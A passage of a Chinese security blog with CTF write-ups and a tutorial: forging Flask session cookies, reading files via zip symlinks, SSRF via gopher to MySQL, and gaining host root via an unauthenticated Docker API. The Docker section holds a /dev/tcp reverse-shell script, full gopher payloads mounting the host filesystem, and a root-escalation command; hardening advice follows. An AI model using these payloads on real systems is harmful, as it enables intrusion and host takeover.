首发于安全客https://www.anquanke.com/post/id/163975

这次hctf中有两道获取flask的secret_key生成客户端session的题目,为了能做出这两道题目来也是深入研究了一下flask客户端session的生成机制。所以这篇文章主要详细讨论一下flask客户端session的生成以及校验过程,以及在了解了flask客户端session机制后这两道题的解法。

个人第一次见到关于客户端session的文章是pith0n师傅的一片文章客户端session导致的安全问题。然而做题的时候只看phith0n师傅的这篇文章感觉还是有点儿懵逼。。。(也可能是我太菜了233)所以就只能翻flask的源码跟了一遍flask对session的处理流程。

flask对客户端session的处理机制

flask对session的处理位于flask/sessions.py中,默认情况下flask的session以cookie的形式保存于客户端,利用签名机制来防止数据被篡改。
flask/sessions.py中,SecureCookieSessionInterface用于封装对CookieSession的一系列操作:

class SecureCookieSessionInterface(SessionInterface):
    """The default session interface that stores sessions in signed cookies
    through the :mod:`itsdangerous` module.
    """
    # salt,默认为cookie-session
    salt = 'cookie-session'
    #: 默认哈希函数为hashlib.sha1
    digest_method = staticmethod(hashlib.sha1)
    #:默认密钥推导方式 :hmac
    key_derivation = 'hmac'
    #:默认序列化方式:session_json_serializer
    serializer = session_json_serializer
    session_class = SecureCookieSession

这里默认的序列化方式的定义为:

session_json_serializer = TaggedJSONSerializer()

可以看到默认使用taggedJSONSerializer做序列化
taggedJSONSerializer定义:

class TaggedJSONSerializer(object):
    """A customized JSON serializer that supports a few extra types that
    we take for granted when serializing (tuples, markup objects, datetime).
    """
    def dumps(self, value):
        def _tag(value):
            if isinstance(value, tuple):
                return {' t': [_tag(x) for x in value]}
            elif isinstance(value, uuid.UUID):
                return {' u': value.hex}
            elif isinstance(value, bytes):
                return {' b': b64encode(value).decode('ascii')}
            elif callable(getattr(value, '__html__', None)):
                return {' m': text_type(value.__html__())}
            elif isinstance(value, list):
                return [_tag(x) for x in value]
            elif isinstance(value, datetime):
                return {' d': http_date(value)}
            elif isinstance(value, dict):
                return dict((k, _tag(v)) for k, v in iteritems(value))
            elif isinstance(value, str):
                try:
                    return text_type(value)
                except UnicodeError:
                    raise UnexpectedUnicodeError(u'A byte string with '
                        u'non-ASCII data was passed to the session system '
                        u'which can only store unicode strings.  Consider '
                        u'base64 encoding your string (String was %r)' % value)
            return value
        return json.dumps(_tag(value), separators=(',', ':'))

    def loads(self, value):
        def object_hook(obj):
            if len(obj) != 1:
                return obj
            the_key, the_value = next(iteritems(obj))
            if the_key == ' t':
                return tuple(the_value)
            elif the_key == ' u':
                return uuid.UUID(the_value)
            elif the_key == ' b':
                return b64decode(the_value)
            elif the_key == ' m':
                return Markup(the_value)
            elif the_key == ' d':
                return parse_date(the_value)
            return obj
        return json.loads(value, object_hook=object_hook)

可以看到本质还是一个添加了类型属性的json处理。
SecureCookieSessionInterface类的获取签名验证序列化器函数为get_signing_serializer

    def get_signing_serializer(self, app):
        if not app.secret_key:
            return None
        signer_kwargs = dict(
            key_derivation=self.key_derivation,
            digest_method=self.digest_method
        )
        return URLSafeTimedSerializer(app.secret_key, salt=self.salt,
                                      serializer=self.serializer,
                                      signer_kwargs=signer_kwargs)

可以看到最后使用的签名序列化器为URLSafeTimedSerializer,并且传入app.secret_key用于签名。
SecureCookieSessionInterface的open_session与save_session方法表示了对session的处理

    def open_session(self, app, request):
        s = self.get_signing_serializer(app)
        if s is None:
            return None
        val = request.cookies.get(app.session_cookie_name)
        if not val:
            return self.session_class()
        max_age = total_seconds(app.permanent_session_lifetime)
        try:
            data = s.loads(val, max_age=max_age)#max_age
            return self.session_class(data)
        except BadSignature:
            return self.session_class()

    def save_session(self, app, session, response):
        domain = self.get_cookie_domain(app)
        path = self.get_cookie_path(app)
        if not session:
            if session.modified:
                response.delete_cookie(app.session_cookie_name,
                                       domain=domain, path=path)
            return
        httponly = self.get_cookie_httponly(app)
        secure = self.get_cookie_secure(app)
        expires = self.get_expiration_time(app, session)
        print self.get_signing_serializer(app)
        val = self.get_signing_serializer(app).dumps(dict(session))
        response.set_cookie(app.session_cookie_name, val,
                            expires=expires, httponly=httponly,
                            domain=domain, path=path, secure=secure)

可以看到从客户端获取session时获取对应的cookie值,并使用序列化器序列化,能够成功序列化即可获取sesison_class,否则返回一个空的session_class.

SecureCookieSession使用的默认序列化器URLSafeTimedSeriallizer位于itsdangerous模块中:

class URLSafeTimedSerializer(URLSafeSerializerMixin, TimedSerializer):
    """Works like :class:`TimedSerializer` but dumps and loads into a URL
    safe string consisting of the upper and lowercase character of the
    alphabet as well as ``'_'``, ``'-'`` and ``'.'``.
    """
    default_serializer = compact_json

序列化

序列化的流程在TimedSerializer的父类Serializer

    def dumps(self, obj, salt=None):
        """Returns a signed string serialized with the internal serializer.
        The return value can be either a byte or unicode string depending
        on the format of the internal serializer.
        """
        payload = want_bytes(self.dump_payload(obj))
        rv = self.make_signer(salt).sign(payload)
        if self.is_text_serializer:
            rv = rv.decode('utf-8')
        return rv

可以看到主要处理流程是将obj用dump_payload签名后利用make_signer(salt)生成的signer进行签名处理,并返回签名后的结果即为我们所需要的cookie值,而URLSafeTimedSeralizer的dump_playload方法继承自URLSafeSerializerMixin的dump_payload方法

    def dump_payload(self, obj):
        json = super(URLSafeSerializerMixin, self).dump_payload(obj)
        is_compressed = False
        compressed = zlib.compress(json)
        if len(compressed) < (len(json) - 1):
            json = compressed
            is_compressed = True
        base64d = base64_encode(json)
        if is_compressed:
            base64d = b'.' + base64d
        return base64d

对obj的处理首先使用URLSafeTimedSeralizer的另一个父类TimedSeralizer继承自Seralizerdump_payload方法处理

    def dump_payload(self, obj):
        """Dumps the encoded object.  The return value is always a
        bytestring.  If the internal serializer is text based the value
        will automatically be encoded to utf-8.
        """
        return want_bytes(self.serializer.dumps(obj))

其中self.serializer为之前SecureCookieSessionInterfaceget_signing_serializer传入,即taggedJSONSerializer
处理之后如果长度过长会进行一次zlib压缩,最后将生成的数据base64编码。

再回到之前Seralizer的dumps的处理流程中,self.make_signer(salt)的定义如下:

    def make_signer(self, salt=None):
        """A method that creates a new instance of the signer to be used.
        The default implementation uses the :class:`Signer` baseclass.
        """
        if salt is None:
            salt = self.salt
        return self.signer(self.secret_key, salt=salt, **self.signer_kwargs)

self.salt、self.signer_kwargs、self.secret_key来自之前SecureCookieSessionInterfaceget_signing_serializer传入,分别为app.secret_key'cookie-session'{'key_derivation':'hmac','digest_method'=staticmethod(hashlib.sha1)},而self.signer为TimedSeralizer中指定

class TimedSerializer(Serializer):
    """Uses the :class:`TimestampSigner` instead of the default
    :meth:`Signer`.
    """

    default_signer = TimestampSigner

TimestampSigner签名过程为:

    def sign(self, value):
        """Signs the given string and also attaches a time information."""
        value = want_bytes(value)
        timestamp = base64_encode(int_to_bytes(self.get_timestamp()))
        sep = want_bytes(self.sep)
        value = value + sep + timestamp
        return value + sep + self.get_signature(value)

将传入的value拼接上时间戳之后再拼接签名内容,签名实现继承自Signer类的get_signature方法

    def get_signature(self, value):
        """Returns the signature for the given value"""
        value = want_bytes(value)
        key = self.derive_key()
        sig = self.algorithm.get_signature(key, value)
        return base64_encode(sig)

因此,整个序列化的流程便是将obj处理为json格式后根据长度选择是否zlib压缩,之后再进行base64加密,拼接上当前时间戳之后再使用hmac签名并且拼接到该字符串上即为我们所需要的payload。

反序列化

反签名的流程主要为TimedSerializer类的loads函数

class TimedSerializer(Serializer):
    """Uses the :class:`TimestampSigner` instead of the default
    :meth:`Signer`.
    """

    default_signer = TimestampSigner

    def loads(self, s, max_age=None, return_timestamp=False, salt=None):
        """Reverse of :meth:`dumps`, raises :exc:`BadSignature` if the
        signature validation fails.  If a `max_age` is provided it will
        ensure the signature is not older than that time in seconds.  In
        case the signature is outdated, :exc:`SignatureExpired` is raised
        which is a subclass of :exc:`BadSignature`.  All arguments are
        forwarded to the signer's :meth:`~TimestampSigner.unsign` method.
        """
        base64d, timestamp = self.make_signer(salt) \
            .unsign(s, max_age, return_timestamp=True)
        payload = self.load_payload(base64d)
        if return_timestamp:
            return payload, timestamp
        return payload

    def loads_unsafe(self, s, max_age=None, salt=None):
        load_kwargs = {'max_age': max_age}
        load_payload_kwargs = {}
        return self._loads_unsafe_impl(s, salt, load_kwargs, load_payload_kwargs)

这里的loads部分使用TimestampSigner来对传入的数据进行解析,查看TimestampSinger中关于签名与反签名的源码:

    def sign(self, value):
        """Signs the given string and also attaches a time information."""
        value = want_bytes(value)
        timestamp = base64_encode(int_to_bytes(self.get_timestamp()))
        sep = want_bytes(self.sep)
        value = value + sep + timestamp
        return value + sep + self.get_signature(value)

       def unsign(self, value, max_age=None, return_timestamp=False):
        """Works like the regular :meth:`~Signer.unsign` but can also
        validate the time.  See the base docstring of the class for
        the general behavior.  If `return_timestamp` is set to `True`
        the timestamp of the signature will be returned as naive
        :class:`datetime.datetime` object in UTC.
        """
        try:
            result = Signer.unsign(self, value)
            sig_error = None
        except BadSignature as e:
            sig_error = e
            result = e.payload or b''
        sep = want_bytes(self.sep)

        # If there is no timestamp in the result there is something
        # seriously wrong.  In case there was a signature error, we raise
        # that one directly, otherwise we have a weird situation in which
        # we shouldn't have come except someone uses a time-based serializer
        # on non-timestamp data, so catch that.
        if not sep in result:
            if sig_error:
                raise sig_error
            raise BadTimeSignature('timestamp missing', payload=result)

        value, timestamp = result.rsplit(sep, 1)
        try:
            timestamp = bytes_to_int(base64_decode(timestamp))
        except Exception:
            timestamp = None

        # Signature is *not* okay.  Raise a proper error now that we have
        # split the value and the timestamp.
        if sig_error is not None:
            raise BadTimeSignature(text_type(sig_error), payload=value,
                                   date_signed=timestamp)

        # Signature was okay but the timestamp is actually not there or
        # malformed.  Should not happen, but well.  We handle it nonetheless
        #检查timestamp
        if timestamp is None:
            raise BadTimeSignature('Malformed timestamp', payload=value)

        # Check timestamp is not older than max_age
        if max_age is not None:
            age = self.get_timestamp() - timestamp
            if age > max_age:
                raise SignatureExpired(
                    'Signature age %s > %s seconds' % (age, max_age),
                    payload=value,
                    date_signed=self.timestamp_to_datetime(timestamp))

        if return_timestamp:
            return value, self.timestamp_to_datetime(timestamp)
        return value

unsigin过程直接调用父类Signer的unsign,再进行timestamp的检查,由于之前调用时传入了max_age所以会检查timestamp是否超时(当时没注意到这一点一直以为随便一个timestamp就可以结果gg了。。。)

序列化与反序列化的总结

最后经过flask处理的字符串的格式为:

json->zlib->base64后的源字符串 . 时间戳 . hmac签名信息

对于以上的调用我们可以总结为这样的代码(与服务器上的python版本无关,如果不确定服务器运行环境timestamp最好根据服务器反馈获取):

from itsdangerous import *
from flask.sessions import *


key='*******'
salt="cookie-session"
serializer=session_json_serializer
digest_method=hashlib.sha1
key_derivation='hmac'

signer_kwargs = dict(
            key_derivation=key_derivation,
            digest_method=digest_method
        )


def serialize(obj,timestamp,sep):
        my_serializer=URLSafeTimedSerializer(key,salt=salt,serializer=serializer,signer_kwargs=signer_kwargs)
        base64d=my_serializer.dump_payload(obj) #数据压缩
        data=base64d+sep+timestamp #拼接timestamp
        result=data+sep+my_serializer.make_signer(salt).get_signature(data) #拼接签名内容
        return result

而从cookie获取session的过程便是验证签名->验证是否过期->解码,解码可以使用phith0n师傅的payload:

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))

需要特别注意的是python2与python3下产生的timestamp是不一样的!!!当时被这个问题坑了很久。。。

hctf两道题目的wp

有了以上的分析要解决hctf的这两道题目就很容易了:

admin

http://admin.2018.hctf.io/index

这道题目我们能做出来是因为在github上搜索hctf,按照recent updated得到了题目的repohttps://github.com/woadsl1234/hctf_flask

repo中暴露了私钥信息,而且题目只需要能用admin用户登入即可,因此可以直接使用上面的脚本跑出admin用户的session来。

hide and seek

http://hideandseek.2018.hctf.io/

这道题目中登入后会要求我们上传一个zip文件,如果zip文件内的所有文件都是文本文件便可以成功返回文件的内容。
然而zip文件中也可以包含软链接,采用zip -ry out.zip link即可将一个软链接打包到out.zip中。因此我们可以尝试上传包含/proc/self/environ软链接的压缩包来获取一些运行环境信息

ln -s /proc/self/environ link
zip -ry out.zip link

上传后可以获得当前一些环境信息:
png1
可以发现uwsgi配置文件的路径/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini,尝试读取配置文件

[uwsgi]
module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main
callable=app

可以得知当前脚本为/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py
从而获取到源码

# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
    error = request.args.get('error', '')
    if(error == '1'):
        session.pop('username', None)
        return render_template('index.html', forbidden=1)

    if 'username' in session:
        return render_template('index.html', user=session['username'], flag=flag.flag)
    else:
        return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
    username=request.form['username']
    password=request.form['password']
    if request.method == 'POST' and username != '' and password != '':
        if(username == 'admin'):
            return redirect(url_for('index',error=1))
        session['username'] = username
    return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
    session.pop('username', None)
    return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'the_file' not in request.files:
        return redirect(url_for('index'))
    file = request.files['the_file']
    if file.filename == '':
        return redirect(url_for('index'))
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a zipfile'


    try:
        extract_path = file_save_path + '_'
        os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
        read_obj = os.popen('cat ' + extract_path + '/*')
        file = read_obj.read()
        read_obj.close()
        os.system('rm -rf ' + extract_path)
    except Exception as e:
        file = None

    os.remove(file_save_path)
    if(file != None):
        if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
            return redirect(url_for('index', error=1))
    return Response(file)


if __name__ == '__main__':
    #app.run(debug=True)
    app.run(host='127.0.0.1', debug=True, port=10008)

然而并无法获取flag.py的源码,因为限制了内容不能包含hctf。
尝试获取/app/hard_t0_guess_n9f5a95b5ku9fg/templates/index.html
可以得知只要能用admin登入即可获得flag.

这里我们重点查看payload中SECRET_KEY的生成方式

random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)

可以看到随机数的种子为uuid.getnode().而uuid.getnode()函数返回的便是当前网卡的mac地址。那么要怎样获取服务器上的网卡地址?
这里便可以通过linux强大的特殊文件系统来获取。首先利用之前的方法读取/proc/net/dev可以发现服务器上的所有网卡。可以发现服务器只有eth0和lo两个网卡。之后再读取/sys/class/net/eth0/address
即可获取eth0网卡的mac地址。获取了地址,我们便获取了SECRET_KEY,之后便可以使用我们上面的payload来伪造session从二获取flag。

后记

通过这次hctf深入的了解了flask的客户端session的生成过程,可以说hctf相比最近的一些神仙大战确实是异常很适合web狗的比赛了。每年的hctf都能学到一些东西,希望以后能多一些这样干货满满的比赛。○| ̄|_
ps:如果出一道改了源码改了默认salt和签名机制的题目会不会被打死ヾ(≧∇≦*)ゝ

首发于freebuf http://www.freebuf.com/articles/web/179910.html

这几天在做关于自动化部署docker镜像方面的项目,从而接触到了docker的api,而docker的api也可以通过tcp连接的形式来进行访问。那么从一个安全爱好者的角度出发,是否可以利用docker的远程api来实现提权等一系列的操作?查找了各种资料之后,最后我探索到了一条通过SSRF漏洞来攻击docker远程api从而最终还能够获得远程主机的root权限的攻击思路,并写了这篇文章来记录一下整个过程及其防范的方法。

什么是docker远程api?

Docker Remote API是docker团队为了方便我们远程管理docker而为我们提供的一套api接口。在默认的情况下,docker daemon坚挺在unix socket上,通常为unix:///var/run/docker.sock。此外,在一些情况比如当我们需要远程管理docker服务器或者是创建docker集群的情况下,我们往往需要开启docker的远程api。这里给出在ubuntu上的一种开启方法:

  • 编辑/lib/systemd/system/docker.service文件,修改ExecStart一行为:
[Service]
Type=notify
# the default is not to use systemd for cgroups because the delegate issues still
# exists and systemd currently does not support the cgroup feature set required
# for containers run by docker
ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:4243
ExecReload=/bin/kill -s HUP $MAINPID
LimitNOFILE=1048576

  • 之后再重启docker
sudo service docker restart

我们便可以利用docker client或者任意http客户端访问docker服务,例如docker_remote.png

可以看到docker提供的api其实也是一个restful形式的http接口,具体的文档可以再docker的官网获取:Engine API V1.24

这里列出几个重要的接口:

  • 列出所有的容器
$ curl http:/localhost:4243/v1.24/containers/json

  • 列出所有镜像
$ curl http:/localhost:4243/v1.24/images/json[{
  "Id":"sha256:31d9a31e1dd803470c5a151b8919ef1988ac3efd44281ac59d43ad623f275dcd",
  "ParentId":"sha256:ee4603260daafe1a8c2f3b78fd760922918ab2441cbb2853ed5c439e59c52f96",
  ...
}] 
  • 创建并运行容器
$ curl  -H "Content-Type: application/json" \
  -d '{"Image": "alpine", "Cmd": ["echo", "hello world"]}' \
  -X POST http:/localhost:4243/v1.24/containers/create
{"Id":"1c6594faf5","Warnings":null}

$ curl   -X POST http:/localhost:4243/v1.24/containers/1c6594faf5/start

http:/localhost:4243/v1.24/containers/1c6594faf5/wait
{"StatusCode":0}

$ curl  "http:/localhost:4243/v1.24/containers/1c6594faf5/logs?stdout=1"
hello world

可以看到如果开放了docker远程api,我们便可以使用restful接口来实现一切docker容器的操作。

怎样利用docker容器提权?

有些朋友可能会问了:docker容器内部是一个虚拟化的环境,与主机隔离,那么怎样才能利用docker容器达到主机的控制权?这里就涉及到docker运行时的用户权限了。docker daemon运行时是以root用户运行,因而具有极大的权限:

$ ps aux|grep dockerd
root      1723  0.1  0.8 563472 68900 ?        Ssl  17:17   0:24 /usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:4243
image    25504  0.0  0.0  15984   936 pts/3    S+   21:12   0:00 grep --color=auto --exclude-dir=.bzr --exclude-dir=CVS --exclude-dir=.git --exclude-dir=.hg --exclude-dir=.svn dockerd

那么怎样通过docker daemon最终获得服务器的root权限?这里我们可以利用docker挂载宿主机文件的功能,直接挂载高权限目录,从而在容器内部获取宿主机的控制权限。这里有一个黑魔法:

docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

运行后的输出如下:verify我们退出docker,查看宿主机/root/目录:success可以看到我们成功写入了/root文件夹一个文件。上面那条命令 docker run -v /:/hostOS -i -t chrisfosterelli/rootplease主要的作用是:从 Docker Hub 上面下载我们指定的镜像,然后运行。参数 -v 将容器外部的目录 / 挂载到容器内部 /hostOS,并且使用 -i 和 -t 参数进入容器的 shell。而这个镜像rootplease在容器内部执行了一个脚本exploit.sh,主要内容便是chroot到/hostOS中。这样我们便通过读写宿主机的任意文件实现了获取宿主机的最高权限。这个镜像的源码可以在Github上获取。

怎样通过SSRF完成攻击?

这里我们的服务器端环境如下:

environ

这里我们来看在php中经常出现的导致SSRF漏洞的代码实现:

<?php
$curl=curl_init();
curl_setopt($curl,CURLOPT_URL,$_GET['url']);
curl_setopt($curl,CURLOPT_HEADER,0);
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
$data=curl_exec($curl);
curl_close($curl);
print_r($data);

php中通常使用libcurl来实现http请求,这里可以看到$_GET['url']可控,从而可以请求任意站点,从而构成了SSRF漏洞。但是有的读者有可能会问:docker的api有很大一部分是需要post的,那么怎样才能发送post封包?这里便祭出我们的大杀器——gopher协议。Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。当然现在 Gopher 协议已经慢慢淡出历史。Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。 这里Ricterz师傅曾经写过一篇很好的关于gopher协议扩展ssrf攻击面的文章。因此我们便可以通过gopher协议来访问内网开放的docker api从而实现攻击。我们可以先尝试获取所有的镜像:

[email protected]:/var/www/html# curl localhost/curl.php?url=http://172.17.0.1:4243/containers/json
[{"Id":"fa169d6b4239882bb6a0a2d564fd9891c04cf199ac12daec514f69febf960e9b","Names":["/quirky_mcnulty"],"Image":"chrisfosterelli/rootplease","ImageID":"sha256:0db941813769383d7ed3bdcccd27af1b6d7b47ed0fb33f1b47f7bb937529fa3e","Command":"/bin/bash exploit.sh","Created":1533475418,"Ports":[],"Labels":{},"State":"running","Status":"Up 17 minutes","HostConfig":{"NetworkMode":"default"},"NetworkSettings":{"Networks":{"bridge":{"IPAMConfig":null,"Links":null,"Aliases":null,"NetworkID":"9a8a2dd6afbbc355194a5fd224757ac8fe11760dbfde91c07c46689146e15089","EndpointID":"a079ba4ac68eafb5add6b56822dd13a288ca059a815e7a011e82bdcb8fd8542b","Gateway":"172.17.0.1","IPAddress":"172.17.0.4","IPPrefixLen":16,"IPv6Gateway":"","GlobalIPv6Address":"","GlobalIPv6PrefixLen":0,"MacAddress":"02:42:ac:11:00:04","DriverOpts":null}}},"Mounts":[{"Type":"bind","Source":"/","Destination":"/hostOS","Mode":"","RW":true,"Propagation":"rslave"}]},]

我们可以先构造一个特殊的docker镜像,并将之上传到DockerHub

FROM ubuntu:14.04
COPY exploit.sh /exploit.sh
ENTRYPOINT ["/bin/bash", "exploit.sh"]

这里我们的exploit.sh的写法:

#!/bin/bash
bash -i >& /dev/tcp/$1/$2 0>&1

这里的docker镜像已经上传到了dockerhub

之后我们可以先构造合适的post封包:

POST /v1.24/images/create?fromImage=imagemlt/reverse_shell HTTP/1.1
Host: localhost:4243
User-Agent: Docker-Client/18.03.1-ce (linux)
Content-Length: 0
Content-Type: text/plain
X-Registry-Auth: e30=

这个post封包的目标是让远程主机从dockerhub下载我们需要的镜像。构造为gopher格式为:

gopher://172.17.0.1:4243/_POST%20/v1.24/images/create%3FfromImage%3Dimagemlt/reverse_shell%20HTTP/1.1%0AHost%3A%20localhost%3A4243%0AUser-Agent%3A%20Docker-Client/18.03.1-ce%20%28linux%29%0AContent-Length%3A%200%0AContent-Type%3A%20text/plain%0A X-Registry-Auth:%20e30%3D%0A%0A

通过ssrf的点触发即可在远程服务器下载我们的镜像。pull.png

之后再创建容器

POST /v1.24/containers/create HTTP/1.1
Host: localhost:4243
User-Agent: Docker-Client/18.03.1-ce (linux)
Content-Length: 99
Content-Type: application/json

{"Cmd":["your ip","3456"],"Image":"imagemlt/reverse_shell","HostConfig":{"Binds":["/:/hostOS"]}}

将封包包装为gopher的形式:

gopher://172.17.0.1:4243/_POST%20/v1.24/containers/create%20HTTP/1.1%0AHost%3A%20localhost%3A4243%0AUser-Agent%3A%20Docker-Client/18.03.1-ce%20%28linux%29%0AContent-Length%3A%2099%0AContent-Type%3A%20application/json%0A%0A%7B%22Cmd%22%3A%5B%22your ip%22%2C%223456%22%5D%2C%22Image%22%3A%22imagemlt/reverse_shell%22%2C%22HostConfig%22%3A%7B%22Binds%22%3A%5B%22/%3A/hostOS%22%5D%7D%7D%0A%0d%0a

这里我们再最后多加了一些%0d%0a从而让连接能够断开。然后利用之前的ssrf的地方请求这个url,可以获得创建的容器id:create.png

获取id后我们再post相应的使容器运行的封包:

POST /v1.24/containers/5a42a09f7bb889f53943015346682388d40a151ec5bad30024282eee11811380/start HTTP/1.1
Host: localhost:4243
User-Agent: Docker-Client/18.03.1-ce (linux)
Content-Length: 0
Content-Type: application/json

我们的服务器端nc端口3456,构造gopher格式的url候再次发送封包:

attack.pnggetshell.png

可以看到服务器端成功返回shell,且已成功挂载宿主机根目录到/hostOS下。

这样我们便通过ssrf与docker未授权api完成了一次攻击,并且获取了宿主机的root权限!

除了反弹shell的方法,我们也可以借助写crontab的方法来获得最后的shell,这里便不再赘述。

如何防范?

在不必需的情况下,不要启用docker的remote api服务,如果必须使用的话,可以采用如下的加固方式:

  • 设置ACL,仅允许信任的来源IP连接;

  • 设置TLS认证,官方的文档为Protect the Docker daemon socket

客户端与服务器端通讯的证书生成后,可以通过以下命令启动docker daemon:

docker -d --tlsverify --tlscacert=ca.pem --tlscert=server-cert.pem --tlskey=server-key.pem -H=tcp://10.10.10.10:2375 -H unix:///var/run/docker.sock

客户端连接时需要设置以下环境变量

export DOCKER_TLS_VERIFY=1
export DOCKER_CERT_PATH=~/.docker
export DOCKER_HOST=tcp://10.10.10.10:2375
export DOCKER_API_VERSION=1.12

这样便可以避免未授权的docker api被远程利用。

总结

未授权的docker remote api具有极大的风险,当结合ssrf漏洞时可以作为渗透测试扩展供给面的工具,最后获得root shell.因此我们做开发时应该严格防范。最后总结一下我们的攻击思路:

flow.png

参考资料

首发于安全客 https://www.anquanke.com/post/id/153258

28号的时候师傅们都在打real world ctf,看了一下real world ctf实在玩不动。。。于是就去玩了玩这个越南的ctf比赛的web部分的题目。整体而言这个比赛的web部分的题目偏中等难度,还是比较适合新手的一次练手,部分题目也有一定的新意。这里给出部分题目的writeup。

IZ

题目地址

打开题目可以获得题目源码:

 <?php

include "config.php";
$number1 = rand(1,100000000000000);
$number2 = rand(1,100000000000);
$number3 = rand(1,100000000);
$url = urldecode($_SERVER['REQUEST_URI']);
$url = parse_url($url, PHP_URL_QUERY);
if (preg_match("/_/i", $url)) 
{
    die("...");
}
if (preg_match("/0/i", $url)) 
{
    die("...");
}
if (preg_match("/w+/i", $url)) 
{
    die("...");
}    
if(isset($_GET['_']) && !empty($_GET['_']))
{
    $control = $_GET['_'];        
    if(!in_array($control, array(0,$number1)))
    {
        die("fail1");
    }
    if(!in_array($control, array(0,$number2)))
    {
        die("fail2");
    }
    if(!in_array($control, array(0,$number3)))
    {
        die("fail3");
    }
    echo $flag;
}
show_source(__FILE__);
?>

可以看到题目的逻辑主要是获取query_string后用parse_url处理,处理后的$url再进行过滤,可以看到这里的过滤非常严所以想要绕过过滤还是有一定难度的。
然而parse_url函数存在一个bug:
当url的格式为http:/localhost///x.php?key=value的方式可以使其返回False
这样就可以成功绕过之后的三次preg_match的过滤.
绕过三次preg_match的过滤后程序又进行了三次in_array()判断,而三次in_array()的数组都存在0这样一个元素。而由php弱类型的特性,in_array()在判断时使用的是弱比较,当比较一个字符串和一个数字时默认会尝试把字符串转换为数字,如果字符串的第一个字符不是数字的话则该字符串会被转化成0.具体的转化规则可以参考php.net中的描述
因此最终的payload为:

///?_=a

访问即可获取flag。

Friss

题目地址

题目进去后是一个表单页面:
curl1

可以判断这个题目应该是要考ssrf相关的东西。于是首先测试file协议看能不能读到文件,输入file:///etc/passwd,结果题目返回:

NULL
Only access to localhost

可以看到后台判断了服务器是否为localhost,所以我们通过file://localhost/etc/passwd即可绕过限制。这里我们尝试读题目源码:
file://localhost/var/www/html/index.php

<?php
include_once "config.php";
if (isset($_POST['url'])&&!empty($_POST['url']))
{
    $url = $_POST['url'];
    $content_url = getUrlContent($url);
}
else
{
    $content_url = "";
}
if(isset($_GET['debug']))
{
    show_source(__FILE__);
}


?>

file://localhost/var/www/html/config.php

<?php


$hosts = "localhost";
$dbusername = "ssrf_user";
$dbpasswd = "";
$dbname = "ssrf";
$dbport = 3306;

$conn = mysqli_connect($hosts,$dbusername,$dbpasswd,$dbname,$dbport);

function initdb($conn)
{
    $dbinit = "create table if not exists flag(secret varchar(100));";
    if(mysqli_query($conn,$dbinit)) return 1;
    else return 0;
}

function safe($url)
{
    $tmpurl = parse_url($url, PHP_URL_HOST);
    if($tmpurl != "localhost" and $tmpurl != "127.0.0.1")
    {
        var_dump($tmpurl);
        die("<h1>Only access to localhost</h1>");
    }
    return $url;
}

function getUrlContent($url){
    $url = safe($url);
    $url = escapeshellarg($url);
    $pl = "curl ".$url;
    echo $pl;
    $content = shell_exec($pl);
    return $content;
}
initdb($conn);
?>

可以看到在config.php中告诉我们flag在数据库中且给出了我们一个空密码的mysql账户。因此我们便可以联想到34c3ctf中的一道使用gopher协议攻击mysql的题目

这里gopher协议的主要功能是可以直接发起socket连接获取数据,而且由于mysql这里给出的密码是空密码,因此可以通过gopher发起sql请求来获取数据。
因此我们可以在本地用mysql搭建同样的环境,使用mysql客户端进行一次连接并获取执行读取flag的操作,用wireshark抓包后将抓取到的数据urlencode之后构造成符合gopher结构的payload即可获取到最后的flag。
首先我们创建相同的用户和同样的表结构:database然后给该用户此数据库的权限后使用该用户登入,获取该数据库内的flag信息,同时使用wireshark抓取lo上的包:

wireshark中我们设置只显示客户端发送的数据包,以原始数据的形式显示
将数据复制下来转换成urlencode的形式,构造gopher的链接为:

